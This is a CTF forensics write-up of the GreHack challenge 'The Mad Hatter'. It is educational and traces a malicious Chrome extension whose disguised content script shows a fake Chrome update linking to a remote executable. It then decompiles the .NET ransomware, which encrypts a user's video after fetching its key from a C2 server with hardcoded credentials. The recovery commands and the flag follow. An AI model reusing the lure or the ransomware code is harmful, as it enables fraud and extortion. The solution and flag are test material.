Introduction

This year, I was happy to be part of the organization committee for the GreHack conference and I created a few challenges for the CTF. Thanks to all the participants and organizers, the event was once again awesome 🔥 💚

Challenge

  • Name : The Mad Hatter
  • Category : Forensic
  • Solves : 5
  • Points : 300
  • Author : Nishacid

The Mad Hatter, as his name suggests, is a bit of a deranged character. He’s always going on about how he doesn’t need virus protection, because he knows what he’s doing on his computer. But recently, he found a strange note on his desktop, and one of his favorite files was rendered totally unreadable… Since then, he has quickly reinstalled the antivirus. Find out more about the contents of this famous file.

Recon

It would appear from the description that the Mad Hatter has had a file encrypted and a note left on his desktop, which may suggest the behavior of ransomware.

Indeed, after importing the Virtual Machine and logging in to the session, we can find a note on his desktop under the name ransom_note.txt :

Your file has been encrypted. Pay 1337 beers to the GreHack staff to decrypt it !

There aren’t many programs installed on the session, but we quickly notice the Chrome browser, and by digging into its history, we can understand that it tried to install a Chrome extension and then looked about ransomware.

Thanks to his research, we then notice that an extension has been installed on the browser, whose purpose is to transform an HTML page into a PDF.

To find out more about this extension, we can go to chrome://extensions/ to see the loaded extensions and their origin. It’s then possible to find the source path of the addon, which was also hidden.

Code Analysis

After analyzing the code, the JavaScript code seems quite legitimate, but a small detail in the manifest.json file catches our attention :

The extension appears to load two JavaScript files, content.png and pdf.js. Let’s take a closer look at content.png, which so far seems to be just an image.

function UpdatePopup() {
    const popupWrapper = document.createElement('div');
    popupWrapper.id = 'ChromeUpdateWrapper';
    
    popupWrapper.style.position = 'fixed';
    popupWrapper.style.top = '10px'; 
    popupWrapper.style.right = '10px'; 

    popupWrapper.style.width = '20%'; 
    popupWrapper.style.height = 'auto';

    popupWrapper.style.zIndex = 99999;
    popupWrapper.style.boxShadow = '0px 0px 10px rgba(0,0,0,0.5)';
    popupWrapper.style.borderRadius = '8px';
    popupWrapper.style.backgroundColor = '#ffffff';
    popupWrapper.style.padding = '20px';
    popupWrapper.style.textAlign = 'center';
    popupWrapper.innerHTML = `
        <img src="${chrome.runtime.getURL('chrome.png')}" width="30" style="display: block; margin: 0 auto;">
        <h3 style="color: red;">Chrome Update</h3>
        <p style="font-size: 12px; color: #666;">Critical update available.</p>
        <a target="_blank" href="https://i-will-pwn-your.host/static/chrome-update.exe" download class="updateButton">Update Now</a>
    `;

    const updateBtn = popupWrapper.querySelector('.updateButton');
    updateBtn.style.display = 'inline-block';
    updateBtn.style.padding = '8px 15px';
    updateBtn.style.marginTop = '10px';
    updateBtn.style.backgroundColor = '#4285F4';
    updateBtn.style.color = '#ffffff';
    updateBtn.style.textDecoration = 'none';
    updateBtn.style.borderRadius = '5px';
    updateBtn.style.cursor = 'pointer';
    
    updateBtn.addEventListener('click', function() {
        window.location.href = "https://i-will-pwn-your.host/static/chrome-update.exe";
    });

    document.body.appendChild(popupWrapper);
}

if (Math.random() <= 0.05) {
    UpdatePopup();
}

chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
    if (message.action === 'getHTML') {
        sendResponse(document.documentElement.outerHTML);
    }
});

We understand that the code will, 1 in 20 times (if (Math.random() <= 0.05)), display a popup on the web page visited by the victim, bringing up a Chrome update popup, which will download the binary from https://i-will-pwn-your.host/static/chrome-update.exe.

Malware Reverse-Engineering

After downloading it in a secure environment, we can analyze it in Virustotal and observe that it is a .NET executable.

Once we know the type of executable, we can choose the right tool like dnSpy or ILSpy to decompile it.

Once decompiled, we see a number of functions that might make us think of a malicious program, such as Encrypt, GetKIV, Extract. The program looks a little obfuscated, but it’s only base64.

After a quick decoding and cleaning of the code, we can now recover the values of the variables :

public static void Main(string[] args)
{
    try
    {
        Program.GetKIV();
        string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Program.De("\secret_video.mp4");
        string path2 = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + Program.De("\ransom_note.txt");
        if (File.Exists(path))
        {
            byte[] bytes = Program.Encrypt(File.ReadAllBytes(path), Program.k, Program.iv);
            File.WriteAllBytes(path, bytes);
            File.WriteAllText(path2, Program.De("Your file has been encrypted. Pay 1337 beers to the GreHack staff to decrypt it !"));
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine("An error occurred: " + ex.Message);
    }
}

In the Main function, we find this famous ransom_note.txt file, but also the file that has been encrypted, secret_video.mp4 in Documents.

public static void GetKIV()
{
    string address = Program.De("https://i-will-pwn-your.host/4af5da2e9ef5efd3520c9a9f463dbdee");
    string str = Program.De("c2_m4st3r");
    string str2 = Program.De("29a3675bc87ad32852f7935741f8e98cee547c65");
    string str3 = Convert.ToBase64String(Encoding.ASCII.GetBytes(str + ":" + str2));
    using (WebClient webClient = new WebClient())
    {
        webClient.Headers[HttpRequestHeader.Authorization] = "Basic " + str3;
        string json = webClient.DownloadString(address);
        Program.ks = Program.Extract(json, "key");
        Program.ivs = Program.Extract(json, "iv");
    }
    Program.k = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(Program.ks));
    Program.iv = MD5.Create().ComputeHash(Encoding.UTF8.GetBytes(Program.ivs));
}

File Recovery

Within the GetKIV function, we understand that it retrieves the key and IV via an authenticated HTTP request.

» curl -sk 'https://i-will-pwn-your.host/4af5da2e9ef5efd3520c9a9f463dbdee' -u 'c2_m4st3r:29a3675bc87ad32852f7935741f8e98cee547c65' | jq

{
  "iv": "1337733113377331",
  "key": "4a448c0831b578470664af35a7067315"
}

We can obtain the encrypted video with the key and IV recovered, and decrypt the file to obtain the flag.

» key=$(echo -n "4a448c0831b578470664af35a7067315" | sha256sum | awk '{print $1}')
» iv=$(echo -n "1337733113377331" | md5sum | awk '{print $1}')
» openssl enc -d -aes-256-cbc -in secret_video.mp4 -out secret_video_decrypt.mp4 -K $key -iv $iv
  • Flag : GH{fr0m_Add0n_t0_r4ns0m_!!}